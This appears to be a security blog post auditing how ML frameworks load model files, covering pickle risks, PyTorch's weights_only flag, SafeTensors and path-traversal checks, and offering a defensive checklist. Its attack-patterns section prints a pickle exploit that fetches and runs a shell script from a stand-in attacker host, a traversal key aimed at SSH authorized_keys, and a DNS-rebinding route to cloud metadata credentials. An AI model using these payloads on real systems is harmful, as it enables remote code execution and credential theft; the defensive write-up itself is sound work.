The Hidden Dangers of Loading AI Models: A Security Audit of Popular ML Frameworks (2026)

If you're loading AI models from the internet — Hugging Face, GitHub, or shared checkpoints — you're running code from strangers. Here's what I found auditing the actual source code of major ML frameworks.

The Core Problem: Pickle Is Everywhere

Python's pickle module can execute arbitrary code during deserialization. If a .pkl, .pt, or .bin file contains a malicious pickle payload, loading it runs that code with your full permissions.

# This innocent-looking line can run ANY code
model = torch.load("model.pt")  # ← full RCE if file is malicious

Most ML model formats are just pickle with extra steps. Let's look at what each framework does about it.

Framework-by-Framework Breakdown

PyTorch: The weights_only Flag

PyTorch added weights_only=True as a defense:

# SAFE: Only loads tensor weights, blocks code execution
model = torch.load("model.pt", weights_only=True)

# UNSAFE: Default behavior allows arbitrary code execution
model = torch.load("model.pt")  # Default is weights_only=False

The problem: Many codebases, tutorials, and even some official tools still use torch.load() without weights_only=True. In my audit of TensorRT's Polygraphy tool, I found exactly this — the JSON tensor decoder calls torch.load(infile) without the safety flag, turning a "safe" JSON file into an RCE vector.

SafeTensors: The Gold Standard

HuggingFace's SafeTensors format is genuinely secure:

• Rust core — Memory-safe parsing, no pickle
• JSON header — Metadata is plain JSON, not executable
• Checked arithmetic — Integer overflow protection on offsets
• Buffer validation — Tensor offsets must be contiguous and match declared sizes

# Always safe — no code execution possible
from safetensors.torch import load_file
model = load_file("model.safetensors")

Use SafeTensors whenever possible.

ONNX: Well-Protected

ONNX's external data loading has comprehensive path traversal protection:

# From onnx/external_data_helper.py
if location_path.is_absolute():
    raise ValidationError("Absolute paths not allowed")
if ".." in location_path.parts:
    raise ValidationError("Path traversal not allowed")

They also check for symlinks with O_NOFOLLOW. This is thorough.

Keras: Mixed Security

Keras protects against zip-slip attacks in .keras files via filter_safe_zipinfos(). However, the newer Orbax checkpoint format has a separate code path for loading asset data from dictionaries. If dictionary keys contain path traversal sequences like ../, they can escape the intended directory during _write_nested_dict_to_dir():

# Vulnerable pattern (simplified)
def _write_nested_dict_to_dir(tree, base_dir):
    for key, value in tree.items():
        child_path = os.path.join(base_dir, key)  # key is unsanitized!
        with open(child_path, "wb") as f:
            f.write(value.tobytes())

Fix: Always validate that resolved paths stay within the intended base directory.

PaddlePaddle: RestrictedUnpickler

PaddlePaddle implemented a RestrictedUnpickler that whitelists specific classes:

_ALLOWED_CLASSES = {
    'numpy': {'ndarray', 'dtype', 'float32', ...},
    'collections': {'OrderedDict', 'defaultdict'},
    'builtins': {'dict', 'list', 'tuple', ...},
}

This is a good defense — model files can only deserialize known-safe types. However, not all code paths use it (dataset loading and distributed RPC still use unrestricted pickle.load).

Joblib: Pickle by Design

Joblib is fundamentally pickle-based with no security controls. The NumpyUnpickler extends Python's standard Unpickler without overriding find_class. Joblib's own docs warn: "do not load files from untrusted sources."

The Attack Patterns

1. Pickle RCE via __reduce__

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com/shell.sh | bash",))

# Embed in any pickle-based format
pickle.dump(Exploit(), open("malicious.pkl", "wb"))

2. Path Traversal in Model Assets

# Malicious asset dictionary
{"../../../.ssh/authorized_keys": attacker_public_key_bytes}

3. SSRF via Model Hub URLs

Some frameworks fetch model files from URLs without validating the destination. DNS rebinding can bypass initial IP checks:

1. URL resolves to 8.8.8.8 during validation
2. DNS TTL expires, re-resolves to 169.254.169.254
3. Framework fetches cloud metadata credentials

Your Security Checklist

Practice	Priority
Use weights_only=True with torch.load()	Critical
Prefer SafeTensors format	Critical
Verify model checksums before loading	High
Use virtual environments for untrusted models	High
Audit your ML pipeline for pickle usage	Medium
Pin framework versions to avoid regressions	Medium

What Framework Maintainers Should Do

1. Default to safe — weights_only=True should be the default
2. Validate paths — Always check os.path.realpath() stays within expected directory
3. Use SafeTensors — For new formats, avoid pickle entirely
4. Restrict unpicklers — If pickle is necessary, whitelist allowed classes
5. Document security boundaries — Users need to know which operations are safe

Conclusion

The ML ecosystem is slowly moving toward safer model formats, but the transition is incomplete. SafeTensors is the clear winner for security. If you're sharing or loading models, use it.

For everything else: treat model files like executables. Because that's what they are.

---

What security practices do you follow when loading ML models? Drop a comment below.

---

Found this useful? Follow me for more production backend and security content.